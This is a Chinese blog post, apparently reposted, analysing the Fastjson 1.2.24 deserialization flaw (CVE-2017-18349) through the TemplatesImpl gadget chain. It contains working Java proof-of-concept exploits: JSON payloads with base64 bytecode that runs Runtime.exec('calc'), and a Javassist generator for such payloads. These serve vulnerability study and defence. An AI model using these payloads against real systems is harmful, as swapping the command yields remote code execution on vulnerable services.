fastjson1.2.24 反序列化漏洞(CVE-2017-18349)分析

news2024/9/24 19:20:15

FastJson在<= 1.2.24 版本中存在反序列化漏洞,主要原因FastJson支持的两个特性:

  • fastjson反序列化时,JSON字符串中的@type字段,用来表明指定反序列化的目标恶意对象类。
  • fastjson反序列化时,字符串时会自动调用恶意对象的构造方法,set方法,get方法,若这类方法中存在利用点,即可完成漏洞利用。

主要存在两种利用方式:

  • JdbcRowSetImpl(JNDI)
  • TemplatesImpl(Feature.SupportNonPublicField)

这里分析TemplatesImpl利用链

漏洞复现

首先创建一个maven项目、导入Fastjson1.2.23并自动下载相关依赖

image-20231218183253537

然后写入如下代码至Main.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}

POC中的利用链TemplatesImpl类的中的绝大多数成员变量是被private修饰,影响漏洞的主要是_bytecodes_outputProperties 两个成员变量。

  • @type :反序列化的恶意目标类型TemplatesImpl,FastJson最终会按照这个类反序列化得到实例
  • _bytecodes:继承AbstractTranslet 类的恶意类字节码,使用Base64编码。
  • _outputPropertiesTemplatesImpl反序列化过程中会调用getOutputProperties 方法,导致bytecodes字节码成功实例化,造成命令执行。
  • _name:调用getTransletInstance 时会判断其是否为null,为null直接return,不会进入到恶意类的实例化过程;
  • _tfactorydefineTransletClasses 中会调用其getExternalExtensionsMap 方法,为null会出现异常;

运行之后直接弹出计算器:

image-20231218183923530

漏洞分析

上面的text里面的_bytecodes的内容是以下内容通过javac编译成字节码文件(.class)再base64编码后的结果:

image-20231218185111759

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

可以看到,我们通过以上代码直接定义类Test,并在类的构造方法中执行calc的命令;至于为什么要写上述代码的第14-21行,因为Test类是继承AbstractTranslet的,上述代码的两个transform方法都是实现AbstractTranslet接口的抽象方法,因此都是需要的;具体来说的话,第一个transform带有SerializationHandler参数,是为了把XML文档转换为另一种格式,第二个transform带有DTMAxisIterator参数,是为了对XML文档中的节点进行迭代。
**总结:**对于上述代码,应该这么理解:建立Test类,并让其继承AbstractTranslet类,然后通过Test t = new Test();来初始化,这样我就是假装要把xml文档转换为另一种格式,在此过程中会触发构造方法,而我在构造方法中的代码就是执行calc,所以会弹出计算器。

为什么要继承AbstractTranslet

https://blog.csdn.net/solitudi/article/details/119082164

JavaClassLoader类提供了defineClass()方法,可以把字节数组转换成Java类的实例

defineClass的利用方式

public class TouchFile{

 public TouchFile() throws Exception {
     Runtime.getRuntime().exec("calc");
 }

}

把它编译成字节码后Base64
之后运行

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code =Base64.getDecoder().decode("yv66vgAAADQAHgoABgARCgASABMIABQKABIAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAYAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAOVG91Y2hGaWxlLmphdmEMAAcACAcAGQwAGgAbAQAEY2FsYwwAHAAdAQAJVG91Y2hGaWxlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAACAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEAAEABEADQASAAsAAAAEAAEADAAJAA0ADgACAAkAAAAmAAIAAQAAAAq4AAISA7YABFexAAAAAQAKAAAACgACAAAAFgAJABcACwAAAAQAAQAMAAEADwAAAAIAEA==");
Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "TouchFile", code, 0, code.length);
yyds.newInstance();

成功弹出了计算器

image-20231219163042298

但是这里面的方法的作用域是被Protected修饰的,也就是说这个方法只能在ClassLoader类中访问,不能被其他包中的类访问:

image-20231219162422592

TransletClassLoader类继承了ClassLoader

image-20231219162620372

并且在TransletClassLoader类中,defineClass调用了ClassLoader里面的defineClass方法:

image-20231219163132353

然后追踪TransletClassLoader的使用,发现是defineTransletClasses

image-20231219163248524

image-20231219163438492

再往上追踪defineTransletClasses的使用,发现是getTransletInstance

image-20231219163607448

image-20231219163705606

到此为止,要么是Private修饰要么就是Protected修饰,需要再往上继续追踪,发现是newTransformer,可以看到此时已经是public了:

image-20231219163815811

因此,利用链如下:

TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

基于此,我们可以写出如下POC

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;

public class Main {
    public static class test{
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(test.class.getName());

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        cc.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "test" + System.nanoTime();
        cc.setName(randomClassName);

        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

        try {
            byte[] evilCode = cc.toBytecode();
            String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{"+
                    "\"@type\":\"" + NASTY_CLASS +"\","+
                    "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                    "'_name':'test',"+
                    "'_tfactory':{ },"+
                    "'_outputProperties':{ }"+
                    "}\n";
            ParserConfig config = new ParserConfig();
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
解释一下这段POC:

首先,代码导入了一些类,包括com.alibaba.fastjson.JSON和com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,还有javassist库的一些类。

在Main类中定义了一个内部静态类test,没有任何具体实现。

在main方法中,代码创建了一个ClassPool对象,它是Javassist库的一部分,用于管理类的池。然后使用pool.get(test.class.getName())获取了test类的CtClass对象。

接下来,代码构造了一个字符串变量cmd,内容是要执行的命令,这里是java.lang.Runtime.getRuntime().exec("calc");,即执行计算器程序。

然后,通过cc.makeClassInitializer().insertBefore(cmd)在test类中插入了一个类初始化器,该类初始化器会在类初始化时执行指定的命令。

接下来,代码生成一个随机的类名,并使用cc.setName(randomClassName)将test类的名称修改为随机生成的类名。

然后,通过cc.setSuperclass(pool.get(AbstractTranslet.class.getName()))设置test类的父类为AbstractTranslet类,这是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的一个实现。

最后,代码使用Fastjson库解析一个JSON字符串text1,并尝试将其转换为Java对象。这里使用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为目标类型。在解析过程中,Fastjson库的Feature.SupportNonPublicField特性被启用,以支持解析非公共字段。

image-20231219174501971

对于JSON字符串text1

            String text1 = "{"+
                    "\"@type\":\"" + NASTY_CLASS +"\","+
                    "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                    "'_name':'test',"+
                    "'_tfactory':{ },"+
                    "'_outputProperties':{ }"+
                    "}\n";
  • @type :反序列化的恶意目标类型TemplatesImpl,FastJson最终会按照这个类反序列化得到实例
  • _bytecodes:继承AbstractTranslet 类的恶意类字节码,使用Base64编码。最终这个类会被加载并使用newInstance()实例化
  • _outputPropertiesTemplatesImpl反序列化过程中会调用getOutputProperties 方法,导致bytecodes字节码成功实例化,造成命令执行。
  • _name:调用getTransletInstance 时会判断其是否为null,为null直接return,不会进入到恶意类的实例化过程;
  • _tfactorydefineTransletClasses 中会调用其getExternalExtensionsMap 方法,为null会出现异常

为什么这么构造呢?还是直接看defineTransletClasses这里:

image-20231219175611078

可以看到,逻辑是这样的:先判断_bytecodes是否为空,如果不为空,则执行后续的代码;后续的代码中,会调用到自定义的ClassLoader去加载_bytecodes中的byte[],并对类的父类进行判断,如果是ABSTRACT_TRANSLET也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,那么就把类成员属性的_transletIndex设置成当前循环中的标记位,第一次调用的话,就是class[0]

image-20231219180803622

可以看到,这里的_bytecodes_outputProperties都是类成员变量。同时,_outputProperties有自己的getter方法,也就是getOutputProperties

在Fastjson库的反序列化过程中,当遇到TemplatesImpl类的实例时,Fastjson会尝试调用getOutputProperties()方法来获取输出属性。

这是由于Fastjson库在解析过程中会调用目标类的一些方法,以了解对象的结构和属性。而TemplatesImpl类中的getOutputProperties()方法是Java API规定的方法之一,Fastjson会默认调用它。

image-20231219180820601

getOutputProperties()方法触发了整个漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance()

JavaClassLoader类提供了defineClass()方法,可以把字节数组转换成Java类的实例

image-20231219184037545

参考

https://mp.weixin.qq.com/s/SOKLC_No0hV9RhAavF2hcw

https://xz.aliyun.com/t/7846

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1324474.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

国标28181平台只能连接视频监控吗?

在一些视频监控项目中&#xff0c;国标28181平台成为了必不可少的工具。这个平台的主要作用在于将分布在不同区域的视频监控录像机、摄像头等设备进行联网管理&#xff0c;同时还能将视频监控连接到上一级的国标监控平台。 可以说&#xff0c;国标监控平台是一个非常重要的承上…

原子学习笔记3——使用tslib库

一、tslib介绍 tslib 是专门为触摸屏设备所开发的 Linux 应用层函数库&#xff0c;并且是开源。 tslib 为触摸屏驱动和应用层之间的适配层&#xff0c;它把应用程序中读取触摸屏 struct input_event 类型数据&#xff08;这是输入设备上报给应用层的原始数据&#xff09;并进行…

动力电池系统介绍(十四)——热管理系统

动力电池系统介绍&#xff08;十四&#xff09; 一、梗概二、座舱热管理&#xff08;汽车空调&#xff09;2.1 空调制冷2.2 空调制热2.2.1 传统燃油汽车空调制热2.2.2 新能源汽车空调制热 三、动力系统热管理3.1 燃油车发动机热管理3.1.1 冷却系统3.1.2 润滑系统3.1.3 进排气系…

网络编程day5

作业 1> 使用select完成TCP客户端程序 //client #include<myhead.h> #define CLINET_IP "192.168.125.79" #define CLINET_PORT 9999 #define SERVE_IP "192.168.125.79" #define SERVE_PORT 8888 int main(int argc, const char *argv[]) {/…

音视频直播核心技术介绍

直播流程 采集&#xff1a; 是视频直播开始的第一个环节&#xff0c;用户可以通过不同的终端采集视频&#xff0c;比如 iOS、Android、Mac、Windows 等。 前处理&#xff1a;主要就是美颜美型技术&#xff0c;以及还有加水印、模糊、去噪、滤镜等图像处理技术等等。 编码&#…

文件消失但是有占用内存的恢复方法

文件消失但占用内存是一个常见的问题&#xff0c;通常是由于文件系统错误或病毒攻击引起的。在这种情况下&#xff0c;文件虽然从目录结构中消失&#xff0c;但它们仍然占用存储空间。本文将分析这一问题的原因&#xff0c;并探讨解决该问题的几种方法。 文件消失但占用内存的原…

Text2SQL学习整理(四)将预训练语言模型引入WikiSQL任务

导语 上篇博客&#xff1a;Text2SQL学习整理&#xff08;三&#xff09;&#xff1a;SQLNet与TypeSQL模型简要介绍了WikiSQL数据集提出后两个早期的baseline&#xff0c;那时候像BERT之类的预训练语言模型还未在各种NLP任务中广泛应用&#xff0c;因而作者基本都是使用Bi-LSTM…

头部首发优志愿头部u_sign生成与TLS指纹处理! + 数据可视化技术讲解【Python爬虫】

目录 针对大学名称 大学排名, 综合指数,学校情况等数据进行爬取 找对应得数据包 请求发现数据有加密 发现加密参数 搜索加密参数&#xff0c;好进行分析 分析过程 数据可视化 针对大学名称 大学排名, 综合指数,学校情况等数据进行爬取 首先进行鼠标右键&#xff0c;进行…

制作PPT找了一个校徽是方形的,如何裁剪为圆形的。

问题描述&#xff1a;制作PPT找了一个校徽是方形的&#xff0c;如何裁剪为圆形的。 问题解决&#xff1a;使用一个在线圆形裁剪软件即可。 网址为&#xff1a; https://crop-circle.imageonline.co/cn/#google_vignette

计算机组成原理综合2

21、和外存储器相比&#xff0c;内存储器的特点是________。C A. 容量大、速度快、成本低 B. 容量大、速度慢、成本高 C. 容量小、速度快、成本高 D. 容量小、速度快、成本低 22、某计算机字长16位&#xff0c;存储器容量64KB&#xff0c;若按字编址&#xf…

网络基础(十二):ACL与NAT

目录 一、ACL 1、ACL的概述 2、ACL的分类 3、ACL的应用 4、ACL的组成和基本原理 ​编辑 5、ACL的配置 5.1配置基本ACL 5.2配置高级ACL 二、NAT 1、NAT的概述 2、NAT的分类 3、NAT的工作原理 4、静态NAT的配置 5、动态NAT的配置 6、NAPT&#xff08;端口映射&am…

01AVue入门(持续学习中)

1.使用AVue开发简单的前端页面直接简单到起飞,他是Element PlusVueVite开发的,不需要向元素的前端代码一样一个组件要传很多参数,他可以使用Json文本来控制我们要传入的数据结构来决定显示什么 //我使用的比较新,我们也可以使用cdn直接使用script标签直接引入 2.开发中遇到的坑…

期货平仓日历(期货平仓日期汇总)

什么是期货平仓日历&#xff1f; 期货是一种高风险高收益的投资品种。而期货交易不同于股票等其他投资品种的交易&#xff0c;期货交易需要在一定时间内才能买卖。而期货平仓日历就是指期货交易中规定的所有合约的平仓日期汇总。 常见期货平仓日期和时间&#xff1f; 不同的…

KylinV10 安装 MySQL 教程(可防踩雷)

KylinV10 安装 MySQL 教程&#xff08;可防踩雷&#xff09; 1、直接用 apt 快捷安装 MySQL $ sudo apt-get update #更新软件源 $ sudo apt-get install mysql-server #安装mysql然后你会发现&#xff0c;KylinV10 安装畅通无阻&#xff0c;并没有设置密码的场景&#xff0c…

Vue: node-sass 无法为当前环境找到绑定, Windows64-bit, 重新安装node-sass失败

参照两位大神的文章总结: 参考1: 解决Node Sass could not find a binding for your current environment: Windows 64-bit with Node.js 14.x-CSDN博客 参考2: 前端开发环境搭建踩坑笔记——npm install node-sass安装失败的解决方案-CSDN博客 总结: 管理员运行 先卸载n…

测试自动化平台 | 测试开发工程师的进阶之路

一、测试工程师的现状 很多测试小伙伴在工作中有时会比较迷茫&#xff0c;不知该怎样突破瓶颈&#xff0c;更好的发展。 那么测试人员究竟该如何打破瓶颈继续向上提升呢&#xff1f;如果你苦于不知所措&#xff0c;又满怀斗志向上的话&#xff0c;不妨一起聊聊。测试职业发展…

Compose 组合项 - 滑动列表 LazyColumn、LazyRow

一、概念 可滚动&#xff0c;类似RecyclerView&#xff08; Column、Row 用 Modifier 设置滚动是相当于ScrollView&#xff09;。 从 Navigation 返回后丢失状态&#xff08;跳到头部&#xff09; &#xff1a;将 LazyListState 提升到 Screen 级别&#xff0c;不用放到 ViewMo…

【Axure RP9】实现登入效验及实现左侧菜单栏跳转各页面

目录 一 效验简介 1.1 校验好处 1.2 应用场景 二 登入校验 2.1 效果 2.2 实现流程 三 左边菜单栏左侧菜单栏跳转各页面 3.1 效果 3.2 实现图 一 效验简介 1.1 校验好处 提高安全性&#xff1a; 在传统的用户名和密码登录的基础上&#xff0c;引入了另一种或多种验证…

MyBatis-Plus是什么?能干嘛?

MyBatis-Plus是一个基于MyBatis的增强工具&#xff0c;旨在简化开发、提高效率。它提供了通用的mapper和service&#xff0c;可以在不编写任何SQL语句的情况下&#xff0c;快速实现对单表的CRUD、批量、逻辑删除、分页等操作。 MyBatis-Plus的主要特性包括&#xff1a; 无侵入…

【PostgreSQL内核学习(十八)—— 存储管理(存储管理的体系结构)】

存储管理 概述存储管理器的体系结构存储管理器的主要任务读写元组过程 声明&#xff1a;本文的部分内容参考了他人的文章。在编写过程中&#xff0c;我们尊重他人的知识产权和学术成果&#xff0c;力求遵循合理使用原则&#xff0c;并在适用的情况下注明引用来源。 本文主要参考…